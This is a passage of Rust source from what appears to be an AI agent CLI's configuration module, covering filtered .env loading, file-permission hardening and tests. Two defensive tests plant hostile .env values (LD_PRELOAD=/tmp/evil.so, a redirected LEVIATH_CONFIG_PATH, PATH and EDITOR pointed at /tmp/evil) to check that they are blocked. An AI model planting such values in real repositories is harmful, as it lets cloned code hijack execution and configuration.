851    let Ok(entries) = dotenvy::from_filename_iter(path) else {
852        return;
853    };
854    // A malformed line is skipped rather than ending the read, so one bad entry
855    // costs its own variable and not every variable after it.
856    let (allowed, skipped): (Vec<_>, Vec<_>) = entries
857        .flatten()
858        .partition(|(key, _)| leviath_core::dotenv_var_allowed(key));
859
860    // Hand the survivors back to dotenvy rather than calling `set_var` here:
861    // the workspace forbids `unsafe`, and `std::env::set_var` is unsafe in
862    // edition 2024.
863    //
864    // One path, not a fast path plus a filtered one. Re-reading the file when
865    // nothing was filtered looked cheap, but it re-parsed content that could
866    // have changed since the decision was made and gave the two paths
867    // different error semantics for a malformed line. Always re-serializing
868    // means what gets set is exactly what was inspected.
869    let doc: String = allowed
870        .iter()
871        .map(|(key, value)| format!("{key}={}\n", requote(value)))
872        .collect();
873    let _ = dotenvy::from_read(doc.as_bytes());
874
875    // The common case is that a `.env` sets nothing sensitive, and warning then
876    // printed "Ignoring  from .env" with an empty list where a name belonged.
877    if skipped.is_empty() {
878        return;
879    }
880
881    // Joined before the macro rather than inside it: `tracing` does not
882    // evaluate field expressions when no subscriber is interested, so an
883    // argument built in place reads as an unexecuted region even on the run
884    // that logged it.
885    let names = skipped
886        .iter()
887        .map(|(key, _)| key.as_str())
888        .collect::<Vec<_>>()
889        .join(", ");
890    tracing::warn!(
891        "Ignoring {names} from {path}: these decide where configuration is read from or what \
892         gets executed, so a repository may not set them. Export them yourself if you meant to."
893    );
894}
895
896/// Check permissions on the config file and auto-fix if too permissive.
897///
898/// A no-op on non-Unix platforms - see [`leviath_sys::ensure_file_private`].
899fn check_permissions() {
900    check_permissions_at(&Config::config_path());
901}
902
903/// Core of [`check_permissions`], parameterized by path so it can be exercised
904/// in tests against a tempfile instead of the real config path.
905///
906/// The permission mechanism (metadata probe + `chmod`) lives in `leviath_sys`;
907/// this function owns only the policy of what to log for each outcome.
908fn check_permissions_at(path: &std::path::Path) {
909    check_permissions_at_with(path, leviath_sys::ensure_file_private);
910}
911
912/// Core of [`check_permissions_at`] with the permission-hardening operation
913/// injected, so the "fix failed" arm can be covered deterministically on every
914/// OS. On disk that `Err` only occurs when a file exists but `chmod` fails -
915/// forcing that without root differs per platform (macOS `chflags uchg`, no
916/// portable Linux equivalent), so a `fn` pointer is injected instead of relying
917/// on an OS-specific trick. A `fn` pointer (not `impl Fn`) keeps this to a
918/// single monomorphization.
919fn check_permissions_at_with(
920    path: &std::path::Path,
921    ensure: fn(&std::path::Path) -> std::io::Result<Option<u32>>,
922) {
923    match ensure(path) {
924        Ok(Some(old_mode)) => {
925            let masked_mode = old_mode & 0o777;
926            tracing::warn!(
927                "Config file has overly permissive permissions ({:o}), fixing to 600",
928                masked_mode
929            );
930        }
931        Ok(None) => {}
932        Err(e) => tracing::warn!("Failed to fix config file permissions: {}", e),
933    }
934}
935
936/// Set restrictive permissions on the config directory.
937fn set_dir_permissions(path: &std::path::Path) {
938    set_dir_permissions_with(path, leviath_sys::secure_dir_perms);
939}
940
941/// Core of [`set_dir_permissions`] with the hardening operation injected; see
942/// [`set_file_permissions_with`] for why.
943fn set_dir_permissions_with(
944    path: &std::path::Path,
945    secure: fn(&std::path::Path) -> std::io::Result<()>,
946) {
947    if let Err(e) = secure(path) {
948        tracing::warn!("Failed to set config directory permissions: {}", e);
949    }
950}
951
952/// Serde default for a flag that ships on.
953///
954/// Shared by `[security]`, `[limits]` and `Config` itself, so it lives here
955/// rather than in whichever section happened to need it first: serde resolves
956/// a `default = "..."` path in the module the struct is defined in, so a helper
957/// three sections use has to be reachable from all three.
958pub(crate) fn default_true() -> bool {
959    true
960}
961
962/// The provider a config that names none is assumed to mean.
963///
964/// Exists so `default_provider` can carry `#[serde(default)]`: without one,
965/// every field on [`Config`] that lacked a default made a hand-written
966/// `config.toml` a parse error. Writing three lines to point Leviath at
967/// OpenRouter used to fail with `missing field `providers``, which names a
968/// table the user has no reason to know about and says nothing about what to
969/// add. Kept in sync with [`Config::default`] by
970/// `an_empty_config_file_parses_to_the_defaults`.
971pub(crate) fn default_provider_name() -> String {
972    "anthropic".to_string()
973}
974
975/// Serializes any test, anywhere in the crate, that mutates the process's
976/// current working directory (via `std::env::set_current_dir`) or whose
977/// assertions implicitly depend on it. Declared here (not inside `mod tests`)
978/// so it's reachable crate-wide: a per-file lock (as in
979/// `commands/run/manifest.rs`'s CWD-dependent `find_manifest` tests) would not
980/// serialize against a CWD-mutating test in a different file. (Env-var
981/// isolation, by contrast, goes through the `temp-env` crate's own global
982/// lock; `set_current_dir` is not an env var, so it keeps this dedicated lock.)
983#[cfg(test)]
984pub(crate) static CWD_LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(());
985
986/// RAII guard that releases [`CWD_LOCK`] and restores the process's
987/// original working directory on drop.
988///
989/// Wraps the `MutexGuard` inside a private field specifically so it can be held
990/// across an `.await` in an async test without tripping clippy's
991/// `await_holding_lock` lint, which only looks for a directly-visible
992/// `MutexGuard` local - not one hidden inside a wrapper struct's field.
993/// That's not working around a real risk: each `#[tokio::test]` gets its
994/// own private single-threaded runtime, so holding this across an await
995/// can't starve another task in the *same* test: it only serializes
996/// against other CWD-mutating tests, which is exactly the intended effect.
997///
998/// Was `#[cfg(unix)]` as well, because its only caller -
999/// `commands/list.rs`'s `execute_falls_back_to_default_cwd_when_current_dir_is_gone` -
1000/// is Unix-only (the race it reproduces, deleting a directory that is the
1001/// process's live CWD, is a sharing violation on Windows rather than a
1002/// reproducible state), which made it dead code there under `-D warnings`.
1003/// `a_dot_env_in_the_working_directory_is_read` is a second caller that must run
1004/// on every platform, so the gate is gone and the dead-code concern with it.
1005#[cfg(test)]
1006pub(crate) struct CwdTestGuard {
1007    original_cwd: std::path::PathBuf,
1008    _lock: std::sync::MutexGuard<'static, ()>,
1009}
1010
1011#[cfg(test)]
1012impl Drop for CwdTestGuard {
1013    fn drop(&mut self) {
1014        let _ = std::env::set_current_dir(&self.original_cwd);
1015    }
1016}
1017
1018/// Acquire [`CWD_LOCK`] and snapshot the current working directory so it can
1019/// be restored automatically when the returned guard drops.
1020#[cfg(test)]
1021pub(crate) fn isolate_cwd_for_test() -> CwdTestGuard {
1022    let lock = CWD_LOCK
1023        .lock()
1024        .unwrap_or_else(std::sync::PoisonError::into_inner);
1025    let original_cwd = std::env::current_dir().expect("current dir must be readable at test start");
1026    CwdTestGuard {
1027        original_cwd,
1028        _lock: lock,
1029    }
1030}
1031
1032/// Provider API key env vars that `Config::load()` (via `dotenvy::dotenv()`)
1033/// loads into the process env regardless of which config file path is used --
1034/// so redirecting the config path alone isn't enough; these must be cleared
1035/// too by [`config_isolation_vars`].
1036#[cfg(test)]
1037const PROVIDER_KEY_ENV_VARS: &[&str] = &[
1038    "ANTHROPIC_API_KEY",
1039    "OPENAI_API_KEY",
1040    "GOOGLE_API_KEY",
1041    "OPENROUTER_API_KEY",
1042];
1043
1044/// Create a fresh, empty temp directory to stand in for the config directory.
1045#[cfg(test)]
1046fn make_fake_config_dir(unique: &str) -> std::path::PathBuf {
1047    let fake_dir = std::env::temp_dir().join(format!("lev-fake-config-{unique}"));
1048    let _ = std::fs::create_dir_all(&fake_dir);
1049    fake_dir
1050}
1051
1052/// The env overrides that isolate `Config::load()` from the real environment:
1053/// point `LEVIATH_CONFIG_PATH` at a nonexistent file in `fake_dir`, set
1054/// `LEVIATH_SKIP_DOTENV`, and clear every provider API key (so no real, billed
1055/// inference call can be made). Consumed by [`with_isolated_config_path`] and
1056/// its async twin, which hand it to `temp_env` for scoped set-and-restore.
1057///
1058/// `pub(crate)` because `temp_env` serializes process-wide and holds its lock
1059/// across the closure, so a test needing *these* overrides plus others (the
1060/// `lev doctor` tests also redirect `LEVIATH_HOME` and `LEVIATH_RUNS_DIR`)
1061/// cannot nest a second `temp_env` call inside the wrapper - it has to build
1062/// one combined list from this one.
1063#[cfg(test)]
1064pub(crate) fn config_isolation_vars(
1065    fake_dir: &std::path::Path,
1066) -> Vec<(&'static str, Option<std::ffi::OsString>)> {
1067    let mut vars: Vec<(&'static str, Option<std::ffi::OsString>)> = vec![
1068        (
1069            "LEVIATH_CONFIG_PATH",
1070            Some(fake_dir.join("config.toml").into_os_string()),
1071        ),
1072        ("LEVIATH_SKIP_DOTENV", Some(std::ffi::OsString::from("1"))),
1073    ];
1074    for &key in PROVIDER_KEY_ENV_VARS {
1075        vars.push((key, None));
1076    }
1077    vars
1078}
1079
1080/// Runs `f` with `Config::load()` isolated from the real environment (see
1081/// [`config_isolation_vars`]), passing it the fake config directory so tests
1082/// that need to plant a `config.toml` can. `temp_env::with_vars` sets the
1083/// overrides, runs the closure, and restores the prior values afterwards --
1084/// serialized process-wide against every other temp-env test, so no hand-rolled
1085/// lock is needed. The closure-scoped form (not an RAII guard) is required
1086/// because edition 2024 makes `set_var` `unsafe`, which the crate forbids.
1087#[cfg(test)]
1088pub(crate) fn with_isolated_config_path<R>(
1089    unique: &str,
1090    f: impl FnOnce(&std::path::Path) -> R,
1091) -> R {
1092    let fake_dir = make_fake_config_dir(unique);
1093    let result = temp_env::with_vars(config_isolation_vars(&fake_dir), || f(&fake_dir));
1094    let _ = std::fs::remove_dir_all(&fake_dir);
1095    result
1096}
1097
1098/// Async counterpart of [`with_isolated_config_path`] for `#[tokio::test]`s.
1099/// The isolation env vars stay in place across every `.await` in `fut`.
1100#[cfg(test)]
1101pub(crate) async fn with_isolated_config_path_async<R, Fut>(
1102    unique: &str,
1103    f: impl FnOnce(std::path::PathBuf) -> Fut,
1104) -> R
1105where
1106    Fut: std::future::Future<Output = R>,
1107{
1108    let fake_dir = make_fake_config_dir(unique);
1109    let result =
1110        temp_env::async_with_vars(config_isolation_vars(&fake_dir), f(fake_dir.clone())).await;
1111    let _ = std::fs::remove_dir_all(&fake_dir);
1112    result
1113}
1114
1115#[cfg(test)]
1116mod dotenv_tests {
1117    use super::*;
1118
1119    /// `Config::load()` reads `./.env`, and every isolated test sets
1120    /// `LEVIATH_SKIP_DOTENV` - so that branch would otherwise never run.
1121    ///
1122    /// Leaving it to the tests that read the real environment would leave it to
1123    /// exactly the tests that race. Covered deliberately here
1124    /// instead: still inside `temp_env` (so it holds the same process-wide lock
1125    /// as everything else) and still pointed at a scratch config, but with the
1126    /// skip flag cleared so the `.env` read actually happens. The probe
1127    /// variable is listed in the same call so `temp_env` removes it afterwards
1128    /// rather than leaking it into the rest of the run.
1129    #[test]
1130    fn a_dot_env_in_the_working_directory_is_read() {
1131        let dir = make_fake_config_dir("dotenv-read");
1132        std::fs::write(dir.join(".env"), "LEV_DOTENV_PROBE=seen\n").unwrap();
1133
1134        // Scoped so the CWD guard drops - restoring the working directory -
1135        // before the cleanup below. Windows refuses to remove a directory that
1136        // is some process's live CWD.
1137        {
1138            let _cwd = isolate_cwd_for_test();
1139            std::env::set_current_dir(&dir).unwrap();
1140
1141            temp_env::with_vars(
1142                [
1143                    (
1144                        "LEVIATH_CONFIG_PATH",
1145                        Some(dir.join("config.toml").into_os_string()),
1146                    ),
1147                    ("LEVIATH_SKIP_DOTENV", None),
1148                    ("LEV_DOTENV_PROBE", None),
1149                ],
1150                || {
1151                    let loaded = Config::load();
1152                    assert!(loaded.is_ok(), "a missing config file is not an error");
1153                    assert_eq!(
1154                        std::env::var("LEV_DOTENV_PROBE").ok().as_deref(),
1155                        Some("seen"),
1156                        "the .env beside the working directory was read"
1157                    );
1158                },
1159            );
1160        }
1161        let _ = std::fs::remove_dir_all(&dir);
1162    }
1163
1164    /// The escalation this filter exists for. A cloned repository is the
1165    /// working directory, so its `.env` is attacker-authored content - and one
1166    /// line of `LEVIATH_CONFIG_PATH` would have pointed the very next statement
1167    /// in `Config::load` at a config file of the repository's choosing,
1168    /// carrying its own `[mcp_servers]` commands and `[tool_permissions]`.
1169    #[test]
1170    fn a_dot_env_cannot_steer_where_config_comes_from() {
1171        let dir = make_fake_config_dir("dotenv-steer");
1172        std::fs::write(
1173            dir.join(".env"),
1174            "LEVIATH_CONFIG_PATH=/tmp/evil.toml\n\
1175             LEVIATH_API_TOKEN=known\n\
1176             EDITOR=/tmp/evil\n\
1177             PATH=/tmp/evil\n\
1178             LD_PRELOAD=/tmp/evil.so\n\
1179             LEV_DOTENV_KEEPS=kept\n",
1180        )
1181        .unwrap();
1182
1183        {
1184            let _cwd = isolate_cwd_for_test();
1185            std::env::set_current_dir(&dir).unwrap();
1186
1187            temp_env::with_vars(
1188                [
1189                    (
1190                        "LEVIATH_CONFIG_PATH",
1191                        Some(dir.join("config.toml").into_os_string()),
1192                    ),
1193                    ("LEVIATH_SKIP_DOTENV", None),
1194                    ("LEVIATH_API_TOKEN", None),
1195                    ("EDITOR", None),
1196                    ("LD_PRELOAD", None),
1197                    ("LEV_DOTENV_KEEPS", None),
1198                ],
1199                || {
1200                    Config::load().expect("a missing config file is not an error");
1201                    for steering in ["LEVIATH_API_TOKEN", "EDITOR", "LD_PRELOAD"] {
1202                        assert!(
1203                            std::env::var(steering).is_err(),
1204                            "{steering} must not be settable from a repository's .env"
1205                        );
1206                    }
1207                    // The one already set by the harness keeps the harness's
1208                    // value rather than the file's, which is dotenvy's own
1209                    // precedence and the reason this is not a regression.
1210                    assert_ne!(
1211                        std::env::var("LEVIATH_CONFIG_PATH").ok(),
1212                        Some("/tmp/evil.toml".to_string())
1213                    );
1214                    // And an ordinary variable still loads: the point is to
1215                    // filter what steers the process, not to stop reading
1216                    // `.env` files.
1217                    assert_eq!(
1218                        std::env::var("LEV_DOTENV_KEEPS").ok().as_deref(),
1219                        Some("kept")
1220                    );
1221                },
1222            );
1223        }
1224        let _ = std::fs::remove_dir_all(&dir);
1225    }
1226
1227    /// Most working directories have no `.env`, so that is the ordinary case
1228    /// rather than a failure. Driven directly with an absolute path, since the
1229    /// point is the file's absence and not the working directory.
1230    #[test]
1231    fn a_missing_dot_env_is_not_an_error() {
1232        let dir = make_fake_config_dir("dotenv-missing");
1233        load_dotenv_filtered(&dir.join("absent.env").to_string_lossy());
1234        let _ = std::fs::remove_dir_all(&dir);
1235    }
1236
1237    /// A `.env` that sets nothing sensitive is the ordinary case, and it used
1238    /// to warn anyway: the message named the skipped variables, so with none
1239    /// skipped users read "Ignoring  from .env" with a hole where a name
1240    /// belonged. Under `-v` that landed in the middle of the setup wizard.
1241    #[test]
1242    fn an_ordinary_dot_env_warns_about_nothing() {
1243        let dir = make_fake_config_dir("dotenv-nothing-skipped");
1244        std::fs::write(dir.join(".env"), "LEV_DOTENV_ORDINARY=fine\n").unwrap();
1245
1246        {
1247            let _cwd = isolate_cwd_for_test();
1248            std::env::set_current_dir(&dir).unwrap();
1249            temp_env::with_vars(
1250                [
1251                    (
1252                        "LEVIATH_CONFIG_PATH",
1253                        Some(dir.join("config.toml").into_os_string()),
1254                    ),
1255                    ("LEVIATH_SKIP_DOTENV", None),
1256                    ("LEV_DOTENV_ORDINARY", None),
1257                ],
1258                || {
1259                    Config::load().expect("a missing config file is not an error");
1260                    // The allowed variable still lands, so the early return
1261                    // skips the warning and nothing else.
1262                    assert_eq!(
1263                        std::env::var("LEV_DOTENV_ORDINARY").ok().as_deref(),
1264                        Some("fine")
1265                    );
1266                },
1267            );
1268        }
1269        let _ = std::fs::remove_dir_all(&dir);
1270    }
1271
1272    /// The escape set has to match dotenvy's double-quoted parser exactly, so
1273    /// each arm is checked here rather than only through a whole-file load.
1274    #[test]
1275    fn requote_escapes_what_both_dotenvy_layers_read() {
1276        assert_eq!(requote("plain"), r#""plain""#);
1277        assert_eq!(requote(r"C:\tools\"), r#""C:\\tools\\""#);
1278        assert_eq!(requote(r#"say "hi""#), r#""say \"hi\"""#);
1279        // `$` escaped so the value is not substituted a second time - it was
1280        // already expanded by the parse that produced it.
1281        assert_eq!(requote("cost $5 $HOME"), r#""cost \$5 \$HOME""#);
1282        assert_eq!(requote("one\ntwo"), r#""one\ntwo""#);
1283    }
1284
1285    /// A backslash is where the re-serialization nearly went wrong: dotenvy's
1286    /// *value* parser treats single quotes as fully literal, but its *line*
1287    /// reader honours `\` escapes inside them, so a value ending in a
1288    /// backslash could eat the closing quote, swallow the following line, and
1289    /// fail the whole document - silently, since the load result is discarded.
1290    /// Every variable after it would vanish with no warning.
1291    #[test]
1292    fn filtering_survives_a_value_ending_in_a_backslash() {
1293        let dir = make_fake_config_dir("dotenv-backslash");
1294        // Double-quoted at source, because that is the only spelling in which a
1295        // dotenv value can *end* in a backslash - which is exactly the value
1296        // that broke the single-quoted re-serialization.
1297        std::fs::write(
1298            dir.join(".env"),
1299            "PATH=/tmp/anything\n\
1300             LEV_DOTENV_BACKSLASH=\"C:\\\\tools\\\\\"\n\
1301             LEV_DOTENV_AFTER=survived\n",
1302        )
1303        .unwrap();
1304
1305        {
1306            let _cwd = isolate_cwd_for_test();
1307            std::env::set_current_dir(&dir).unwrap();
1308
1309            temp_env::with_vars(
1310                [
1311                    (
1312                        "LEVIATH_CONFIG_PATH",
1313                        Some(dir.join("config.toml").into_os_string()),
1314                    ),
1315                    ("LEVIATH_SKIP_DOTENV", None),
1316                    ("LEV_DOTENV_BACKSLASH", None),
1317                    ("LEV_DOTENV_AFTER", None),
1318                ],
1319                || {
1320                    Config::load().expect("a missing config file is not an error");
1321                    assert_eq!(
1322                        std::env::var("LEV_DOTENV_BACKSLASH").ok().as_deref(),
1323                        Some("C:\\tools\\")
1324                    );
1325                    assert_eq!(
1326                        std::env::var("LEV_DOTENV_AFTER").ok().as_deref(),
1327                        Some("survived"),
1328                        "a later variable must not be swallowed by an unbalanced quote"
1329                    );
1330                },
1331            );
1332        }
1333        let _ = std::fs::remove_dir_all(&dir);
1334    }
1335
1336    /// The filtered path re-serializes the survivors, so it has to hand back
1337    /// exactly what the parser read - quotes, spaces and `#` included.
1338    #[test]
1339    fn filtering_preserves_an_awkward_value_verbatim() {
1340        let dir = make_fake_config_dir("dotenv-quoting");
1341        std::fs::write(
1342            dir.join(".env"),
1343            "PATH=/tmp/evil\n\
1344             LEV_DOTENV_AWKWARD=\"it's a #value with 'quotes' and spaces\"\n",
1345        )
1346        .unwrap();
1347
1348        {
1349            let _cwd = isolate_cwd_for_test();
1350            std::env::set_current_dir(&dir).unwrap();
1351
1352            temp_env::with_vars(
1353                [
1354                    (
1355                        "LEVIATH_CONFIG_PATH",
1356                        Some(dir.join("config.toml").into_os_string()),
1357                    ),
1358                    ("LEVIATH_SKIP_DOTENV", None),
1359                    ("LEV_DOTENV_AWKWARD", None),
1360                ],
1361                || {
1362                    Config::load().expect("a missing config file is not an error");
1363                    assert_eq!(
1364                        std::env::var("LEV_DOTENV_AWKWARD").ok().as_deref(),
1365                        Some("it's a #value with 'quotes' and spaces")
1366                    );
1367                },
1368            );
1369        }
1370        let _ = std::fs::remove_dir_all(&dir);
1371    }
1372}
1373
1374#[cfg(test)]
1375mod tests {
1376    /// The published JSON Schema for `config.toml`, and a config exercising
1377    /// every section of it. Compiled in so neither can drift from what ships.
1378    const CONFIG_SCHEMA: &str = include_str!("../../../../docs/schema/config.schema.json");
1379    const CONFIG_EXAMPLE: &str = include_str!("../../../../docs/schema/config.example.toml");
1380
1381    /// Every way `value` fails `validator`. See the twin in `bundled.rs`.
1382    fn schema_problems(
1383        validator: &jsonschema::Validator,
1384        value: &serde_json::Value,
1385    ) -> Vec<String> {
1386        validator
1387            .iter_errors(value)
1388            .map(|e| format!("{}: {e}", e.instance_path()))
1389            .collect()
1390    }
1391
1392    /// An unknown key is reported wherever it sits, not only at the top level.
1393    ///
1394    /// The reported case (#365) was `[limits] max_concurrent_tool`, a
1395    /// misspelling one level down, which the first version of this check could
1396    /// not see: it compared top-level keys only, so a whole bogus table was
1397    /// named and a bogus key inside a real table was not.
1398    #[test]
1399    fn an_unknown_key_is_reported_at_any_depth() {
1400        let content = "\
1401default_provider = \"anthropic\"
1402
1403[cache]
1404ttl = \"banana\"
1405
1406[limits]
1407max_concurrent_tool = 3
1408
1409[providers]
1410anthropic_api_key = \"x\"
1411anthropic_cach_ttl = \"1h\"
1412";
1413        let unknown = Config::unknown_config_keys(content);
1414        assert!(unknown.contains(&"cache".to_string()), "{unknown:?}");
1415        assert!(
1416            unknown.contains(&"limits.max_concurrent_tool".to_string()),
1417            "a key one level down is named by its path: {unknown:?}"
1418        );
1419        assert!(
1420            unknown.contains(&"providers.anthropic_cach_ttl".to_string()),
1421            "{unknown:?}"
1422        );
1423        // And the real keys beside them are not reported.
1424        assert!(
1425            !unknown.iter().any(|k| k == "default_provider"),
1426            "{unknown:?}"
1427        );
1428        assert!(
1429            !unknown.iter().any(|k| k == "providers.anthropic_api_key"),
1430            "{unknown:?}"
1431        );
1432    }
1433
1434    /// A file that is TOML but not a config reports no unknown keys: it has a
1435    /// type error, and saying "every key here is unread" on top of that would
1436    /// bury the message that actually explains it.
1437    #[test]
1438    fn a_file_that_is_not_a_config_reports_no_unknown_keys() {
1439        // Parses as a table, fails as a `Config`: the provider is a number.
1440        assert!(Config::unknown_config_keys("default_provider = 42").is_empty());
1441    }
1442
1443    /// `unread_keys_at` answers for a path, and a path that is not there is a
1444    /// question about a file rather than about its keys.
1445    #[test]
1446    fn unread_keys_of_a_missing_file_is_empty() {
1447        let dir = tempfile::tempdir().unwrap();
1448        assert!(Config::unread_keys_at(&dir.path().join("nope.toml")).is_empty());
1449    }
1450
1451    #[test]
1452    fn unread_keys_at_reads_the_file_it_is_given() {
1453        let dir = tempfile::tempdir().unwrap();
1454        let path = dir.path().join("config.toml");
1455        std::fs::write(&path, "[cache]\nttl = \"banana\"\n").unwrap();
1456        assert_eq!(Config::unread_keys_at(&path), vec!["cache".to_string()]);
1457    }
1458
1459    /// `[model_providers.<name>]` forwards whatever it does not recognise to a
1460    /// Rhai script through `#[serde(flatten)]`, so those keys *are* read and
1461    /// must stay quiet. This is the case a hand-maintained key list gets wrong.
1462    #[test]
1463    fn keys_a_flatten_field_absorbs_are_not_reported() {
1464        let content = "\
1465[model_providers.groq]
1466script = \"groq.rhai\"
1467some_custom_thing = \"forwarded to the script\"
1468";
1469        assert!(
1470            Config::unknown_config_keys(content).is_empty(),
1471            "a key serde keeps is a key nothing should complain about"
1472        );
1473    }
1474
1475    /// The reported case: a table nothing reads, in a file that also sets a
1476    /// real key. Both halves matter - the unknown one is named, the real one
1477    /// is not, and the config still loads because every command reads it.
1478    #[test]
1479    fn an_unknown_config_key_is_reported_and_the_config_still_loads() {
1480        const CONTENT: &str = "default_provider = \"anthropic\"\n\n[cache]\nttl = \"banana\"\n";
1481        assert_eq!(
1482            Config::unknown_config_keys(CONTENT),
1483            vec!["cache".to_string()],
1484            "the unknown table is named and the real key is not"
1485        );
1486
1487        let dir = tempfile::tempdir().unwrap();
1488        let path = dir.path().join("config.toml");
1489        std::fs::write(&path, CONTENT).unwrap();
1490        // A subscriber has to be interested at this callsite or the `warn!`
1491        // body never runs. `tracing_guard` sets a thread-local default, which
1492        // holds whatever another test in this binary did to the global one.
1493        let _guard = leviath_testkit::tracing_guard();
1494        let config = Config::load_from_path(&path).expect("an unknown key does not stop the load");
1495        assert_eq!(config.default_provider, "anthropic");
1496    }
1497
1498    /// A config using only real keys reports nothing. Without this the test
1499    /// above passes against a function that calls everything unknown.
1500    #[test]
1501    fn a_config_of_known_keys_reports_nothing() {
1502        assert!(
1503            Config::unknown_config_keys(CONFIG_EXAMPLE).is_empty(),
1504            "the shipped example must be clean"
1505        );
1506    }
1507
1508    /// Content that is not TOML reports nothing rather than guessing. The
1509    /// caller has already failed to deserialize it and said so; a second,
1510    /// vaguer complaint about every line would only bury the first.
1511    #[test]
1512    fn unparseable_content_reports_no_unknown_keys() {
1513        assert!(Config::unknown_config_keys("this is not [[[ toml").is_empty());
1514    }
1515
1516    #[test]
1517    fn the_example_config_satisfies_the_published_schema_and_deserializes() {
1518        // Both halves matter. The schema alone could describe a shape `Config`
1519        // rejects; `Config` alone could accept a shape the schema forbids.
1520        // Holding one fixture to both is what keeps them describing the same
1521        // format, since the schema is hand-written and nothing generates it.
1522        let example: toml::Value = toml::from_str(CONFIG_EXAMPLE).expect("the example is TOML");
1523        let schema: serde_json::Value =
1524            serde_json::from_str(CONFIG_SCHEMA).expect("the schema is JSON");
1525        let validator = jsonschema::validator_for(&schema).expect("the schema compiles");
1526
1527        let json = serde_json::to_value(&example).expect("TOML converts to JSON");
1528        assert_eq!(
1529            schema_problems(&validator, &json),
1530            Vec::<String>::new(),
1531            "config.example.toml does not match config.schema.json"
1532        );
1533
1534        let parsed: Config = toml::from_str(CONFIG_EXAMPLE).expect("the example deserializes");
1535        // A couple of spot checks that the values landed where the schema says,
1536        // rather than being silently dropped into nothing.
1537        assert_eq!(parsed.default_provider, "anthropic");
1538        assert_eq!(parsed.limits.interaction_timeout_secs, 3600);
1539        assert_eq!(parsed.mcp_servers.len(), 2);
1540    }
1541
1542    #[test]
1543    fn the_config_schema_rejects_a_key_that_is_not_a_setting() {
1544        // Without `additionalProperties: false` the schema would accept any
1545        // typo, which is most of what an author wants it to catch.
1546        let schema: serde_json::Value =
1547            serde_json::from_str(CONFIG_SCHEMA).expect("the schema is JSON");
1548        let validator = jsonschema::validator_for(&schema).expect("the schema compiles");
1549        // Through `schema_problems` rather than `is_valid`, so the formatting
1550        // path the positive test relies on runs against real errors.
1551        let rejects = |toml_text: &str| {
1552            let value: toml::Value = toml::from_str(toml_text).expect("valid TOML");
1553            let json = serde_json::to_value(&value).expect("converts");
1554            !schema_problems(&validator, &json).is_empty()
1555        };
1556
1557        assert!(
1558            rejects("default_provdier = \"anthropic\"\n"),
1559            "a typo'd key"
1560        );
1561        assert!(
1562            rejects("[limits]\ninteraction_timeout_secs = \"an hour\"\n"),
1563            "a string where a number belongs"
1564        );
1565        assert!(
1566            rejects("[security]\ncredential_store = \"vault\"\n"),
1567            "an unsupported credential store"
1568        );
1569        assert!(
1570            !rejects("default_provider = \"openrouter\"\n"),
1571            "a real key"
1572        );
1573    }
1574
1575    /// Saving with a keychain that cannot be reached must fail rather than
1576    /// quietly writing the keys into the file. A user who asked for the keychain
1577    /// would otherwise end up with plaintext keys on disk and no sign of it.
1578    #[test]
1579    fn saving_with_an_unreachable_keychain_writes_nothing() {
1580        let dir = tempfile::tempdir().unwrap();
1581        let path = dir.path().join("config.toml");
1582        let mut config = Config::default();
1583        config.security.credential_store = leviath_core::CredentialStoreKind::Keychain;
1584        config.providers.anthropic_api_key = Some("sk-ant".to_string());
1585
1586        assert!(
1587            config
1588                .write_to(&path, Err("no keychain".to_string()))
1589                .is_err()
1590        );
1591        assert!(!path.exists(), "no file may be written at all");
1592    }
1593
1594    /// The same for a store that is reachable but refuses the write.
1595    #[test]
1596    fn saving_to_a_store_that_refuses_the_write_writes_nothing() {
1597        use leviath_core::CredentialStore as _;
1598
1599        struct Refuses;
1600        impl leviath_core::CredentialStore for Refuses {
1601            fn get(&self, _: &str) -> Result<Option<String>, String> {
1602                Ok(None)
1603            }
1604            fn set(&self, _: &str, _: &str) -> Result<(), String> {
1605                Err("read-only keychain".to_string())
1606            }
1607            fn delete(&self, _: &str) -> Result<bool, String> {
1608                Err("read-only keychain".to_string())
1609            }
1610        }
1611
1612        let dir = tempfile::tempdir().unwrap();
1613        let path = dir.path().join("config.toml");
1614        let mut config = Config::default();
1615        config.security.credential_store = leviath_core::CredentialStoreKind::Keychain;
1616        config.providers.anthropic_api_key = Some("sk-ant".to_string());
1617
1618        // The other two answers are part of the contract even though `write_to`
1619        // only needs `set`; a store impl has to answer all three.
1620        assert_eq!(Refuses.get("provider/anthropic").unwrap(), None);
1621        assert!(Refuses.delete("provider/anthropic").is_err());
1622
1623        let err = config
1624            .write_to(&path, Ok(Some(Box::new(Refuses))))
1625            .expect_err("a refused write is not a save");
1626        assert!(err.to_string().contains("failed to store"), "{err}");
1627        assert!(!path.exists(), "no file may be written at all");
1628    }
1629
1630    /// And the successful keychain path: the secrets go to the store and the
1631    /// file keeps only the settings.
1632    #[test]
1633    fn saving_in_keychain_mode_puts_the_secrets_in_the_store_not_the_file() {
1634        use leviath_core::CredentialStore;
1635
1636        let dir = tempfile::tempdir().unwrap();
1637        let path = dir.path().join("config.toml");
1638        let mut config = Config::default();
1639        config.security.credential_store = leviath_core::CredentialStoreKind::Keychain;
1640        config.providers.anthropic_api_key = Some("sk-ant-secret".to_string());
1641        config.default_model = Some("some-model".to_string());
1642
1643        let store = std::sync::Arc::new(leviath_core::MemoryStore::new());
1644        struct Shared(std::sync::Arc<leviath_core::MemoryStore>);
1645        impl CredentialStore for Shared {
1646            fn get(&self, a: &str) -> Result<Option<String>, String> {
1647                self.0.get(a)
1648            }
1649            fn set(&self, a: &str, s: &str) -> Result<(), String> {
1650                self.0.set(a, s)
1651            }
1652            fn delete(&self, a: &str) -> Result<bool, String> {
1653                self.0.delete(a)
1654            }
1655        }
1656
1657        config
1658            .write_to(&path, Ok(Some(Box::new(Shared(store.clone())))))
1659            .unwrap();
1660
1661        // `delete` completes the trait; `write_to` itself never needs it.
1662        assert!(
1663            Shared(store.clone())
1664                .delete(&leviath_core::provider_account("anthropic"))
1665                .unwrap()
1666        );
1667        store
1668            .set(
1669                &leviath_core::provider_account("anthropic"),
1670                "sk-ant-secret",
1671            )
1672            .unwrap();
1673
1674        let written = std::fs::read_to_string(&path).unwrap();
1675        assert!(!written.contains("sk-ant-secret"), "{written}");
1676        assert!(
1677            written.contains("some-model"),
1678            "settings survive: {written}"
1679        );
1680        // Read back through the same wrapper `write_to` was handed, so all
1681        // three of its methods are exercised.
1682        assert_eq!(
1683            Shared(store.clone())
1684                .get(&leviath_core::provider_account("anthropic"))
1685                .unwrap()
1686                .as_deref(),
1687            Some("sk-ant-secret")
1688        );
1689    }
1690
1691    /// The keychain fills only what the file and the environment left unset --
